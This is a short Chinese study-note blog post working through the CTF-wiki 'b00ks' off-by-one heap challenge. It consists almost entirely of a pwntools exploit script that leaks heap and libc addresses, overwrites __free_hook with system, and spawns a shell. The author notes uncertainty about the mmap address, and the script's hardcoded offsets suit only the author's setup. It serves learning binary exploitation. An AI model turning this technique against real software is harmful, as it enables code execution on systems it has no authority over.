2020-11-10学习记录

32 篇文章 0 订阅
19 篇文章 0 订阅

CTFwiki上关于one by off的例题

 还是有些疑惑的,主要是所谓的mmap地址

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./b00ks')
elf=ELF('./b00ks')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
                                                                                                                      
def add(size_n,name,size_d,description):
    sh.recvuntil('> ')
    sh.sendline('1')
    sh.recv()
    sh.sendline(str(size_n))
    sh.recv()
    sh.sendline(name)
    sh.recv()
    sh.sendline(str(size_d))
    sh.recv()
    sh.sendline(description)

def delete(index):
    sh.recvuntil('> ')
    sh.sendline('2')
    sh.recv()
    sh.sendline(str(index))

def edit(index,description):
    sh.recvuntil('> ')
    sh.sendline('3')
    sh.recv()
    sh.sendline(str(index))
    sh.recv()
    sh.sendline(description)


def show():
    sh.recvuntil('> ')
    sh.sendline('4')

def rename(name):
    sh.recvuntil('> ')
    sh.sendline('5')
    sh.recv()
    sh.sendline(name)

def exit():
    sh.recvuntil('> ')
    sh.sendline('6')

sh.recv()
sh.sendline('a'*32)
add(128,'w'*127,128,'A'*0x50+p64(0)+p64(0x11)+p64(0)*2+'A'*15)
show()
sh.recvuntil('a'*32)
book1_addr=u64(sh.recvuntil('\n').split()[0].ljust(8,'\x00'))
print 'book1 addr is '+hex(book1_addr)

add(0x21000,'W'*(0x21000-1),0x21000,'V'*(0x21000-1))
payload='A'*0x50+p64(1)+p64(book1_addr+0x30+0x8)+p64(book1_addr+0x30+0x8)+p64(0x200)+'A'*0x10
edit(1,payload)
rename('a'*32)
show()
sh.recvuntil('Name: ')
book2_name_ptr=u64(sh.recvuntil('\n').split()[0].ljust(8,'\x00'))
print 'book2_name_ptr is '+hex(book2_name_ptr)

mmap_addr=0x7ffff7b0e740
mmap_addr=0x7ffff7fb7010
libcbase=book2_name_ptr-(mmap_addr-0x7ffff7a0d000)+0x1000
sys_addr=libcbase+libc.sym['system']
free_hook_addr=libcbase+libc.sym['__free_hook']
bin_sh_addr=libcbase+libc.search('/bin/sh').next()
print 'libcbase is '+hex(libcbase)

edit(1,p64(bin_sh_addr)+p64(free_hook_addr))
#gdb.attach(sh)
print '1' 
edit(2,p64(sys_addr))
print '2' 
print hex(bin_sh_addr)
print hex(free_hook_addr)
print hex(sys_addr)
gdb.attach(sh)
delete(2)
sh.interactive()
#x/20gx 0x555555756040
#x/100gx 0x555555757410  
#20 4000  
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值